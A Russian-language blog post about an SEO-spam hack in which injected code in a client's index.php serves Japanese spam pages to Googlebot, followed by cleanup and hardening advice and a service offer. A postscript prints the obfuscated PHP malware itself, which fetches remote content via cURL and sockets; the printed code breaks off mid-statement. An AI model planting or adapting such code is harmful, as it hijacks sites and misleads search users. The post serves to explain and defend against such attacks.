Неочевидный взлом сайта


Иногда владелец сайта может даже не подозревать о том, что его сайт взломан. Он спокойно заходит на него, что-то делает, и при этом не выскакивает никаких окон, антивирусы не кричат о проблеме – в общем, все спокойно. Однако, это не всегда значит, что с вашим ресурсом все нормально. Иногда вредоносный код может выходить наружу только при некоторых обстоятельствах.

Как-то раз я решил проверить сайт заказчика, по каким запросам его находят в гугле. И был шокирован такой картиной:



Откуда эти иероглифы? Что это вообще за такое? Начинаем разбираться, почему гугл так отображает сайт. Пробуем просмотреть как Googlebot, и нам выдает такую вот картинку:



Какие то шины, ссылка и китайские или японские иероглифы вместо нормального контента. Ссылки ведут на сайт meikosoccer.jp. Переводить мы не будет – совсем неинтересно, да и зачастую сайт, на который ведет эта ссылка совсем не при чем. Будем искать, в чем дело и почему так происходит.

В этот раз искать долго не пришлось, вирус на сайте не очень и шифровался – он был в файле index.php – в самом начале. Вот код:

Разбирать этот код я не буду – и так видно, что просто подменяет страницы своими, и генерирует сотни новых при каждом обращении. Стоит отметить только наличие функции CURL – ниже поговорим, как защититься от этого. Удаляем этот код, а еще лучше – восстанавливаем все файлы с того времени, когда точно не было никакого вредоноса.

После этого меняем все пароли – на FTP, SSH, доступ к админке. Чтобы узнать, как именно произошел взлом, необходимо посмотреть логи доступа к сайту – по тому же протоколу FTP. Если ваш сайт не использует исходящие подключения – то заблокируйте их.

На некоторых хостингах вы можете указать IP-адреса или сети, с которых будет разрешен доступ по протоколу FTP. Если же у вас динамический IP, то можно задавать диапазоны адресов, которые используются вашим провайдером. В этом случае злоумышленник даже если и будет иметь правильный пароль к FTP, то при подключении увидит пустое место – никаких каталогов или файлов.

Теперь надо сообщить гуглу, что все в порядке. Для этого в Search Console заходим в Проблемы безопасности, ставим галку, что проблем устранены и отправляем запрос на перепроверку.



Что еще можно сделать, чтобы избежать взлома? Можно написать скрипт на PHP, который будет мониторить изменение важных файлов (например, по крону раз в час) и отправлять вам на почту. Под важными файлами понимаются индексная страница и конфигурационные (index.php, .htaccess, manager/index.php, config.php и так далее).

Если вы подозреваете (или уверены), что у вас на сайте поселился вирус, то вы всегда можете обратиться ко мне – я проведу проверку, чистку, а также приму ряд мер, чтобы обезопасить ваш ресурс от взлома.

P.S. Если кому интересно, то вот код этого вируса:

$OO_00O__O0='83';

$O_0_OO00O_='1';

$OO0O0_0__O='1';

$OOO_0_O0_0=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C
%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");$O0O__0O_O0=$OOO_0_O0_0{16}.$OOO_0
_O0_0{24}.$OOO_0_O0_0{30}.$OOO_0_O0_0{27}.$OOO_0_O0_0{29}.$OOO_0_O0_0{24}.$OOO_0_O0_
0{30}.$OOO_0_O0_0{16}.$OOO_0_O0_0{23}.$OOO_0_O0_0{6}.$OOO_0_O0_0{32}.$OOO_0_O0_0{30}
.$OOO_0_O0_0{29}.$OOO_0_O0_0{32}.$OOO_0_O0_0{6}.$OOO_0_O0_0{23}.$OOO_0_O0_0{23}.$OOO
_0_O0_0{3}.$OOO_0_O0_0{6}.$OOO_0_O0_0{32}.$OOO_0_O0_0{25};$OO0O00___O=$OOO_0_O0_0{33
}.$OOO_0_O0_0{10}.$OOO_0_O0_0{24}.$OOO_0_O0_0{30}.$OOO_0_O0_0{6}.$OOO_0_O0_0{5}.$OOO
_0_O0_0{29}.$OOO_0_O0_0{33}.$OOO_0_O0_0{35}.$OOO_0_O0_0{32}.$OOO_0_O0_0{25}.$OOO_0_O0
_0{30}.$OOO_0_O0_0{10}.$OOO_0_O0_0{29}.$OOO_0_O0_0{32}.$OOO_0_O0_0{23}.$OOO_0_O0_0{12
}.$OOO_0_O0_0{30}.$OOO_0_O0_0{0}.$OOO_0_O0_0{10};$O_OO__O000=$OOO_0_O0_0{33}.$OOO_0_O
0_0{10}.$OOO_0_O0_0{24}.$OOO_0_O0_0{30}.$OOO_0_O0_0{6}.$OOO_0_O0_0{5}.$OOO_0_O0_0{29}
.$OOO_0_O0_0{27}.$OOO_0_O0_0{30}.$OOO_0_O0_0{10}.$OOO_0_O0_0{29}.$OOO_0_O0_0{5}.$OOO_
0_O0_0{30}.$OOO_0_O0_0{10}.$OOO_0_O0_0{6}.$OOO_0_O0_0{29}.$OOO_0_O0_0{26}.$OOO_0_O0_0
{6}.$OOO_0_O0_0{10}.$OOO_0_O0_0{6};$O0O__O_O00=$OOO_0_O0_0{33}.$OOO_0_O0_0{10}.$OOO_0
_O0_0{24}.$OOO_0_O0_0{30}.$OOO_0_O0_0{6}.$OOO_0_O0_0{5}.$OOO_0_O0_0{29}.$OOO_0_O0_0{3
3}.$OOO_0_O0_0{30}.$OOO_0_O0_0{10}.$OOO_0_O0_0{29}.$OOO_0_O0_0{3}.$OOO_0_O0_0{23}.$OO
O_0_O0_0{35}.$OOO_0_O0_0{32}.$OOO_0_O0_0{25}.$OOO_0_O0_0{12}.$OOO_0_O0_0{0}.$OOO_0_O
0_0{27};$OO_0__0O0O=$OOO_0_O0_0{33}.$OOO_0_O0_0{10}.$OOO_0_O0_0{24}.$OOO_0_O0_0{30}.$
OOO_0_O0_0{6}.$OOO_0_O0_0{5}.$OOO_0_O0_0{29}.$OOO_0_O0_0{33}.$OOO_0_O0_0{30}.$OOO_0_O
0_0{10}.$OOO_0_O0_0{29}.$OOO_0_O0_0{10}.$OOO_0_O0_0{12}.$OOO_0_O0_0{5}.$OOO_0_O0_0{3
}.$OOO_0_O0_0{35}.$OOO_0_O0_0{18}.$OOO_0_O0_0{10};$O00_OOO0__=$OOO_0_O0_0{12}.$OOO_0_
O0_0{27}.$OOO_0_O0_0{0}.$OOO_0_O0_0{35}.$OOO_0_O0_0{24}.$OOO_0_O0_0{30}.$OOO_0_O0_0{
29}.$OOO_0_O0_0{18}.$OOO_0_O0_0{33}.$OOO_0_O0_0{30}.$OOO_0_O0_0{24}.$OOO_0_O0_0{29}.
$OOO_0_O0_0{6}.$OOO_0_O0_0{3}.$OOO_0_O0_0{35}.$OOO_0_O0_0{24}.$OOO_0_O0_0{10};$O_O_0
O0O_0=$OOO_0_O0_0{38}.$OOO_0_O0_0{12}.$OOO_0_O0_0{23}.$OOO_0_O0_0{30}.$OOO_0_O0_0{29
}.$OOO_0_O0_0{16}.$OOO_0_O0_0{18}.$OOO_0_O0_0{10}.$OOO_0_O0_0{29}.$OOO_0_O0_0{32}.$
OOO_0_O0_0{35}.$OOO_0_O0_0{0}.$OOO_0_O0_0{10}.$OOO_0_O0_0{30}.$OOO_0_O0_0{0}.$OOO_0
_O0_0{10}.$OOO_0_O0_0{33};$OO_0O0_O0_=$OOO_0_O0_0{38}.$OOO_0_O0_0{12}.$OOO_0_O0_0{2
3}.$OOO_0_O0_0{30}.$OOO_0_O0_0{29}.$OOO_0_O0_0{27}.$OOO_0_O0_0{30}.$OOO_0_O0_0{10}.
$OOO_0_O0_0{29}.$OOO_0_O0_0{32}.$OOO_0_O0_0{35}.$OOO_0_O0_0{0}.$OOO_0_O0_0{10}.$OOO
_0_O0_0{30}.$OOO_0_O0_0{0}.$OOO_0_O0_0{10}.$OOO_0_O0_0{33};$OOO_00_0O_=$OOO_0_O0_0{
31}.$OOO_0_O0_0{10}.$OOO_0_O0_0{10}.$OOO_0_O0_0{16}.$OOO_0_O0_0{29}.$OOO_0_O0_0{3}.
$OOO_0_O0_0{18}.$OOO_0_O0_0{12}.$OOO_0_O0_0{23}.$OOO_0_O0_0{26}.$OOO_0_O0_0{29}.$OO
O_0_O0_0{19}.$OOO_0_O0_0{18}.$OOO_0_O0_0{30}.$OOO_0_O0_0{24}.$OOO_0_O0_0{20};$O__O0
O0O0_=$OOO_0_O0_0{38}.$OOO_0_O0_0{18}.$OOO_0_O0_0{0}.$OOO_0_O0_0{32}.$OOO_0_O0_0{10
}.$OOO_0_O0_0{12}.$OOO_0_O0_0{35}.$OOO_0_O0_0{0}.$OOO_0_O0_0{29}.$OOO_0_O0_0{30}.$O
OO_0_O0_0{17}.$OOO_0_O0_0{12}.$OOO_0_O0_0{33}.$OOO_0_O0_0{10}.$OOO_0_O0_0{33};$OO_0
O_00_O=$OOO_0_O0_0{30}.$OOO_0_O0_0{24}.$OOO_0_O0_0{24}.$OOO_0_O0_0{35}.$OOO_0_O0_0{
24}.$OOO_0_O0_0{29}.$OOO_0_O0_0{24}.$OOO_0_O0_0{30}.$OOO_0_O0_0{16}.$OOO_0_O0_0{35}
.$OOO_0_O0_0{24}.$OOO_0_O0_0{10}.$OOO_0_O0_0{12}.$OOO_0_O0_0{0}.$OOO_0_O0_0{27};$O_
_O0O0_0O=$OOO_0_O0_0{32}.$OOO_0_O0_0{24}.$OOO_0_O0_0{30}.$OOO_0_O0_0{6}.$OOO_0_O0_0
{10}.$OOO_0_O0_0{30}.$OOO_0_O0_0{29}.$OOO_0_O0_0{38}.$OOO_0_O0_0{18}.$OOO_0_O0_0{0}
.$OOO_0_O0_0{32}.$OOO_0_O0_0{10}.$OOO_0_O0_0{12}.$OOO_0_O0_0{35}.$OOO_0_O0_0{0};$O0
__0OO_O0=$OOO_0_O0_0{33}.$OOO_0_O0_0{30}.$OOO_0_O0_0{10}.$OOO_0_O0_0{29}.$OOO_0_O0_
0{10}.$OOO_0_O0_0{12}.$OOO_0_O0_0{5}.$OOO_0_O0_0{30}.$OOO_0_O0_0{29}.$OOO_0_O0_0{23
}.$OOO_0_O0_0{12}.$OOO_0_O0_0{5}.$OOO_0_O0_0{12}.$OOO_0_O0_0{10};$O_O0_0_OO0=$OOO_0
_O0_0{27}.$OOO_0_O0_0{30}.$OOO_0_O0_0{10}.$OOO_0_O0_0{31}.$OOO_0_O0_0{35}.$OOO_0_O0
_0{33}.$OOO_0_O0_0{10}.$OOO_0_O0_0{3}.$OOO_0_O0_0{20}.$OOO_0_O0_0{0}.$OOO_0_O0_0{6}
.$OOO_0_O0_0{5}.$OOO_0_O0_0{30};$O00__0O_OO=$OOO_0_O0_0{3}.$OOO_0_O0_0{6}.$OOO_0_O0
_0{33}.$OOO_0_O0_0{30}.$OOO_0_O0_0{22}.$OOO_0_O0_0{36}.$OOO_0_O0_0{29}.$OOO_0_O0_0{
26}.$OOO_0_O0_0{30}.$OOO_0_O0_0{32}.$OOO_0_O0_0{35}.$OOO_0_O0_0{26}.$OOO_0_O0_0{30}
;$O_O_O0O0_0=$OOO_0_O0_0{16}.$OOO_0_O0_0{24}.$OOO_0_O0_0{30}.$OOO_0_O0_0{27}.$OOO_0
_O0_0{29}.$OOO_0_O0_0{24}.$OOO_0_O0_0{30}.$OOO_0_O0_0{16}.$OOO_0_O0_0{23}.$OOO_0_O0
_0{6}.$OOO_0_O0_0{32}.$OOO_0_O0_0{30};$OO00_0OO__=$OOO_0_O0_0{38}.$OOO_0_O0_0{12}.$
OOO_0_O0_0{23}.$OOO_0_O0_0{30}.$OOO_0_O0_0{29}.$OOO_0_O0_0{30}.$OOO_0_O0_0{17}.$OOO
_0_O0_0{12}.$OOO_0_O0_0{33}.$OOO_0_O0_0{10}.$OOO_0_O0_0{33};$O0_O0__0OO=$OOO_0_O0_0
{32}.$OOO_0_O0_0{18}.$OOO_0_O0_0{24}.$OOO_0_O0_0{23}.$OOO_0_O0_0{29}.$OOO_0_O0_0{33
}.$OOO_0_O0_0{30}.$OOO_0_O0_0{10}.$OOO_0_O0_0{35}.$OOO_0_O0_0{16}.$OOO_0_O0_0{10};$
O__OO00_0O=$OOO_0_O0_0{6}.$OOO_0_O0_0{24}.$OOO_0_O0_0{24}.$OOO_0_O0_0{6}.$OOO_0_O0_
0{20}.$OOO_0_O0_0{29}.$OOO_0_O0_0{33}.$OOO_0_O0_0{31}.$OOO_0_O0_0{12}.$OOO_0_O0_0{3
8}.$OOO_0_O0_0{10};$OO0OO_00__=$OOO_0_O0_0{16}.$OOO_0_O0_0{24}.$OOO_0_O0_0{30}.$OOO
_0_O0_0{27}.$OOO_0_O0_0{29}.$OOO_0_O0_0{5}.$OOO_0_O0_0{6}.$OOO_0_O0_0{10}.$OOO_0_O0
_0{32}.$OOO_0_O0_0{31};$O_O__O000O=$OOO_0_O0_0{32}.$OOO_0_O0_0{18}.$OOO_0_O0_0{24}.
$OOO_0_O0_0{23}.$OOO_0_O0_0{29}.$OOO_0_O0_0{30}.$OOO_0_O0_0{24}.$OOO_0_O0_0{24}.$OO
O_0_O0_0{35}.$OOO_0_O0_0{24};$O0_0_OOO0_=$OOO_0_O0_0{32}.$OOO_0_O0_0{18}.$OOO_0_O0_
0{24}.$OOO_0_O0_0{23}.$OOO_0_O0_0{29}.$OOO_0_O0_0{32}.$OOO_0_O0_0{23}.$OOO_0_O0_0{3
5}.$OOO_0_O0_0{33}.$OOO_0_O0_0{30};$O0_0_O0O_O=$OOO_0_O0_0{18}.$OOO_0_O0_0{24}.$OOO
_0_O0_0{23}.$OOO_0_O0_0{30}.$OOO_0_O0_0{0}.$OOO_0_O0_0{32}.$OOO_0_O0_0{35}.$OOO_0_O
0_0{26}.$OOO_0_O0_0{30};$O00OO__O0_=$OOO_0_O0_0{16}.$OOO_0_O0_0{6}.$OOO_0_O0_0{24}.
$OOO_0_O0_0{33}.$OOO_0_O0_0{30}.$OOO_0_O0_0{29}.$OOO_0_O0_0{18}.$OOO_0_O0_0{24}.$OO
O_0_O0_0{23};$O___OO0O00=$OOO_0_O0_0{27}.$OOO_0_O0_0{2}.$OOO_0_O0_0{12}.$OOO_0_O0_0
{0}.$OOO_0_O0_0{38}.$OOO_0_O0_0{23}.$OOO_0_O0_0{6}.$OOO_0_O0_0{10}.$OOO_0_O0_0{30};
$O0_OOO0_0_=$OOO_0_O0_0{32}.$OOO_0_O0_0{18}.$OOO_0_O0_0{24}.$OOO_0_O0_0{23}.$OOO_0_
O0_0{29}.$OOO_0_O0_0{12}.$OOO_0_O0_0{0}.$OOO_0_O0_0{12}.$OOO_0_O0_0{10};$O__OO000O_=$O
OO_0_O0_0{32}.$OOO_0_O0_0{18}.$OOO_0_O0_0{24}.$OOO_0_O0_0{23}.$OOO_0_O0_0{29}.$OOO_
0_O0_0{30}.$OOO_0_O0_0{17}.$OOO_0_O0_0{30}.$OOO_0_O0_0{32};$OO00O0O___=$OOO_0_O0_0{
12}.$OOO_0_O0_0{33}.$OOO_0_O0_0{29}.$OOO_0_O0_0{6}.$OOO_0_O0_0{24}.$OOO_0_O0_0{24}.
$OOO_0_O0_0{6}.$OOO_0_O0_0{20};$OOO__00O0_=$OOO_0_O0_0{33}.$OOO_0_O0_0{10}.$OOO_0_O
0_0{24}.$OOO_0_O0_0{24}.$OOO_0_O0_0{16}.$OOO_0_O0_0{35}.$OOO_0_O0_0{33};$OO__O0O0_0=
$OOO_0_O0_0{5}.$OOO_0_O0_0{10}.$OOO_0_O0_0{29}.$OOO_0_O0_0{24}.$OOO_0_O0_0{6}.$OOO_0
_O0_0{0}.$OOO_0_O0_0{26};$OO_O0_0_O0=$OOO_0_O0_0{12}.$OOO_0_O0_0{5}.$OOO_0_O0_0{16}.
$OOO_0_O0_0{23}.$OOO_0_O0_0{35}.$OOO_0_O0_0{26}.$OOO_0_O0_0{30};$O_00OO_O0_=$OOO_0_O
0_0{30}.$OOO_0_O0_0{17}.$OOO_0_O0_0{16}.$OOO_0_O0_0{23}.$OOO_0_O0_0{35}.$OOO_0_O0_0{
26}.$OOO_0_O0_0{30};$OO0O_O0_0_=$OOO_0_O0_0{18}.$OOO_0_O0_0{33}.$OOO_0_O0_0{23}.$OOO
_0_O0_0{30}.$OOO_0_O0_0{30}.$OOO_0_O0_0{16};$O00_O_0OO_=$OOO_0_O0_0{18}.$OOO_0_O0_0{
0}.$OOO_0_O0_0{23}.$OOO_0_O0_0{12}.$OOO_0_O0_0{0}.$OOO_0_O0_0{25};$O_0O__O00O=$OOO_0
_O0_0{33}.$OOO_0_O0_0{18}.$OOO_0_O0_0{3}.$OOO_0_O0_0{33}.$OOO_0_O0_0{10}.$OOO_0_O0_0
{24};$O00OOO___0=$OOO_0_O0_0{33}.$OOO_0_O0_0{10}.$OOO_0_O0_0{24}.$OOO_0_O0_0{16}.$OO
O_0_O0_0{35}.$OOO_0_O0_0{33};$O00_OO__0O=$OOO_0_O0_0{33}.$OOO_0_O0_0{10}.$OOO_0_O0_0
{24}.$OOO_0_O0_0{23}.$OOO_0_O0_0{30}.$OOO_0_O0_0{0};$O00_0_OO_O=$OOO_0_O0_0{31}.$OOO
_0_O0_0{30}.$OOO_0_O0_0{17}.$OOO_0_O0_0{26}.$OOO_0_O0_0{30}.$OOO_0_O0_0{32};$OO00O_O
_0_=$OOO_0_O0_0{38}.$OOO_0_O0_0{34}.$OOO_0_O0_0{24}.$OOO_0_O0_0{12}.$OOO_0_O0_0{10}.
$OOO_0_O0_0{30};$O0_O__0OO0=$OOO_0_O0_0{38}.$OOO_0_O0_0{32}.$OOO_0_O0_0{23}.$OOO_0_O
0_0{35}.$OOO_0_O0_0{33}.$OOO_0_O0_0{30};$OO__O_000O=$OOO_0_O0_0{38}.$OOO_0_O0_0{24}.
$OOO_0_O0_0{30}.$OOO_0_O0_0{6}.$OOO_0_O0_0{26};$O_0_O_O0O0=$OOO_0_O0_0{38}.$OOO_0_O0
_0{27}.$OOO_0_O0_0{30}.$OOO_0_O0_0{10}.$OOO_0_O0_0{33};$O_0O_0_O0O=$OOO_0_O0_0{32}.$
OOO_0_O0_0{31}.$OOO_0_O0_0{5}.$OOO_0_O0_0{35}.$OOO_0_O0_0{26};$O00_0OO__O=$OOO_0_O0_
0{10}.$OOO_0_O0_0{24}.$OOO_0_O0_0{12}.$OOO_0_O0_0{5};$OOO0__O00_=$OOO_0_O0_0{41}.$OO
O_0_O0_0{35}.$OOO_0_O0_0{12}.$OOO_0_O0_0{0};$O_0OO_O_00=$OOO_0_O0_0{38}.$OOO_0_O0_0{
30}.$OOO_0_O0_0{35}.$OOO_0_O0_0{38};$O0_O_0_OO0=$OOO_0_O0_0{26}.$OOO_0_O0_0{6}.$OOO_
0_O0_0{10}.$OOO_0_O0_0{30};header('Content-Type:text/html;charset=utf-8');${"\x47\x4
c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x30\x4f\x5f\x30\x30\x5f\x4f"](0);if(!function_
exists('str_ireplace')){function str_ireplace($from,$to,$string){return trim(preg_re
place("/".addcslashes($from,"?:\\/*^$")."/si",$to,$string));}};$O_0O0O_O_0=${"\x47\x
4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x4f\x30\x5f\x30\x4f"]('$url,$O0O00_O_
O_=0,$O0OOO_00__=1,$O_0OO_0O0_=NULL,$O0O__O_0O0=array()','if(!${"\x47\x4c\x4f\x42\x4
1\x4c\x53"}["\x4f\x4f\x30\x4f\x4f\x5f\x30\x30\x5f\x5f"]("/^http\\:\\/\\//si",$url)){
if(isset(${"\x5f\x47\x45\x54"}["\x75\x72\x6c\x65\x72\x72"])){$O0_O_O0O0_=${"\x47\x4c
\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x4f\x5f"](\'iy4tyhTkktKsovi
lXIzCtLzMlMUQCKWKnlJRUtPXWAMA\');$O0_O_O0O0_.=$url;echo $O0_O_O0O0_;unset($O0_O_O0O0
_);exit();}return \'\';}$O0O___00OO=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\
x4f\x30\x5f\x30\x30\x4f\x5f"](\'Sy4tyhTonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBL
O4pCg1MTcexE8tiU/OyUzNK6mB8YBtPSJakA\');$O000__OO_O=$O__0O_0O0O=\'\';foreach(${"\x47
\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x5f\x4f\x30\x5f"](\'|\',$O0O___
00OO) as $c){$OO_O_O000_=1;if($O0O00_O_O_&&${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x
5f\x30\x4f\x5f\x5f\x4f\x30\x30\x4f"]($c,0,1)==\'c\'){continue;}foreach(${"\x47\x4c\x
4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x30\x4f\x4f\x5f\x4f\x30\x5f"](\'+\',$c) as $d){if
(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x30\x4f\x30\x4f\x30\x5f"]($d))
{$OO_O_O000_=0;}}unset($d);if($OO_O_O000_){$O000__OO_O=$c;break;}}unset($O0O___00OO,
$c);if($O000__OO_O==\'\'){return 0;}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x
30\x4f\x5f\x5f\x4f\x30\x30\x4f"]($O000__OO_O,0,1)==\'c\'){$O00OO__O_0=${"\x47\x4c\x4
f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x4f\x4f\x30\x5f\x30\x5f"]();${"\x47\x4c\x4f\x4
2\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f\x4f"]($O00OO__O_0,CURLOPT_URL,
$url);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f\x4f"](
$O00OO__O_0,CURLOPT_USERAGENT,\'WHR\');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x
5f\x4f\x30\x5f\x5f\x30\x4f\x4f"]($O00OO__O_0,CURLOPT_RETURNTRANSFER,1);${"\x47\x4c\x
4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f\x4f"]($O00OO__O_0,CURLOPT
_TIMEOUT,100);if($O0OOO_00__==2){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\x4f
\x30\x5f\x5f\x30\x4f\x4f"]($O00OO__O_0,CURLOPT_POST,1);if(${"\x47\x4c\x4f\x42\x41\x4
c\x53"}["\x4f\x4f\x30\x30\x4f\x30\x4f\x5f\x5f\x5f"]($O_0OO_0O0_)){${"\x47\x4c\x4f\x4
2\x41\x4c\x53"}["\x4f\x30\x5f\x4f\x30\x5f\x5f\x30\x4f\x4f"]($O00OO__O_0,CURLOPT_POST
FIELDS,${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x30\x30\x5f\x30\x4f\x5f"]
($O_0OO_0O0_));}}$O0__00OOO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x4f\x4f
\x30\x30\x30\x4f\x5f"]($O00OO__O_0);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x5f\
x30\x5f\x4f\x4f\x4f\x30\x5f"]($O00OO__O_0);if(!$O0__00OOO_){if(isset(${"\x5f\x47\x45
\x54"}["\x63\x75\x72\x6c\x65\x72\x72"])){$O0_O_O0O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53
"}["\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x4f\x5f"](\'i04uLhTcpRSC0qyi+KVctLKi6tPwBgA=\')
;$O0_O_O0O0_.=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x5f\x4f\x30\x30\x3
0\x4f"]($O00OO__O_0);echo $O0_O_O0O0_;unset($O0_O_O0O0_);exit();}return 0;}else{$O0_
_00OOO_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x4f\x5f\x5f\x4f"
](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x30\x4f\x4f\x5f\x5f\x4f"]($O0_
_00OOO_,"\\xEF\\xBB\\xBF"));return $O0__00OOO_;}}$O0_O_0_O0O=${"\x47\x4c\x4f\x42\x41
\x4c\x53"}["\x4f\x30\x30\x4f\x4f\x5f\x5f\x4f\x30\x5f"]($url);isset($O0_O_0_O0O["\x68
\x6f\x73\x74"])||$O0_O_0_O0O["\x68\x6f\x73\x74"]=\'\';isset($O0_O_0_O0O["\x70\x61\
"])|| $O0_O_0_O0O["\x71\x75\x65\x72\x79"]=\'\';isset($O0_O_0_O0O["\x4f\x5f\x4f\x30\x4f
\x5f\x4f\x30\x30\x5f"])||$O0_O_0_O0O["\x4f\x5f\x4f\x30\x4f\x5f\x4f\x30\x30\x5f"]=\'\';
$O00O_O0O__=$O0_O_0_O0O["\x70\x61\x74\x68"]?$O0_O_0_O0O["\x70\x61\x74\x68"].($O0_O_0_O
0O["\x71\x75\x65\x72\x79"]?\'?\'.$O0_O_0_O0O["\x71\x75\x65\x72\x79"]:\'\'):\'/\';$O0O0
O__O0_=$O0_O_0_O0O["\x68\x6f\x73\x74"];if($O0_O_0_O0O["\x73\x63\x68\x65\x6d\x65"]==\'h
ttps\'){$O_O0_00O_O=\'1.1\';$O_O0O_O00_=empty($O0_O_0_O0O["\x4f\x5f\x4f\x30\x4f\x5f\x4
f\x30\x30\x5f"])?443:$O0_O_0_O0O["\x4f\x5f\x4f\x30\x4f\x5f\x4f\x30\x30\x5f"];$O0O0O__O
0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x4f\x5f"](\'Ky7
OshTdLtPXBwA=\');$O0O0O__O0_.=$O0_O_0_O0O["\x68\x6f\x73\x74"];}else{$O_O0_00O_O=\'1.0\
';$O_O0O_O00_=empty($O0_O_0_O0O["\x4f\x5f\x4f\x30\x4f\x5f\x4f\x30\x30\x5f"])?80:$O0_O_
0_O0O["\x4f\x5f\x4f\x30\x4f\x5f\x4f\x30\x30\x5f"];}$OO00___0OO=\'Host:\';$OO00___0OO.=
$O0O0O__O0_;$O0O__O_0O0[]=$OO00___0OO;$O0O__O_0O0[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}[
"\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x4f\x5f"](\'c87PyhT0tNLsnMz7NyzsktPvTgUA\');$O0O__O_
0O0[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x4f\x5f"](\'
Cy1OLhTdJ1TE/NK7EK9wgtPCAA==\');$O0O__O_0O0[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\
x4f\x5f\x4f\x30\x5f\x30\x30\x4f\x5f"](\'c0xOThTi0osdLtPS1wIA\');unset($OO00___0OO);if(
$O0OOO_00__==2){if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x30\x4f\x30\x4f\x5f
\x5f\x5f"]($O_0OO_0O0_)){$O_0OO_0O0_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x
5f\x30\x30\x5f\x30\x4f\x5f"]($O_0OO_0O0_);}$O0O__O_0O0[]=${"\x47\x4c\x4f\x42\x41\x4c\x
53"}["\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x4f\x5f"](\'c87PKhT0nNK9EtqSxItUosKMjJTE4syczP0
6/QLS8v103LL8rVLS3KSc1Lzk9tPJTQEA\');$O0O__O_0O0[]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["
\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x4f\x5f"](\'c87PKhT0nNK9H1Sc1LL8mtPwAgA=\').${"\x47\x
4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x5f\x4f\x4f\x5f\x5f\x30\x4f"]($O_0OO_0O0_);$O__
0O_0O0O="POST $O00O_O0O__ HTTP/$O_O0_00O_O\\r\\n".${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\
x4f\x4f\x4f\x30\x5f\x5f\x4f\x30\x30\x5f"]("\\r\\n",$O0O__O_0O0)."\\r\\n\\r\\n".$O_0OO_
0O0_;unset($O_0OO_0O0_);}else{$O__0O_0O0O="GET $O00O_O0O__ HTTP/$O_O0_00O_O\\r\\n".${"
\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x5f\x4f\x30\x30\x5f"]("\\r\\n",$O
0O__O_0O0)."\\r\\n\\r\\n";}unset($O0O__O_0O0,$O0_O_0_O0O,$O_O0_00O_O,$O00O_O0O__);$O_O
_OO_000=null;if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x5f\x4f\x30\x3
0\x4f"]($O000__OO_O,-1)==\'n\'){$O_O_OO_000=$O000__OO_O($O0O0O__O0_,$O_O0O_O00_,$O0_O_
O0O0_no,$O0_O_O0O0_str,30);}else{if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4
f\x5f\x5f\x4f\x30\x30\x4f"]($O000__OO_O,-1)==\'t\'){$O0_0OO_O_0=${"\x47\x4c\x4f\x42\x4
1\x4c\x53"}["\x4f\x4f\x5f\x4f\x30\x5f\x30\x30\x4f\x5f"](\'K0kushTNLtPXBwA=\');$O0_0OO_
O_0.=$O0O0O__O0_;$O0_0OO_O_0.=\':\';$O0_0OO_O_0.=$O_O0O_O00_;$O_O_OO_000=${"\x47\x4c\x
4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x30\x30\x5f\x5f\x5f\x4f"]($O0_0OO_O_0,$O0_O_O0O
0_no,$O0_O_O0O0_str,30);unset($O0_0OO_O_0);}}$OOO0_0__0O=\'\';if($O_O_OO_000){${"\x47\
x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x4f\x5f\x5f\x4f\x5f\x4f\x30\x30"]($O_O_OO_000,true
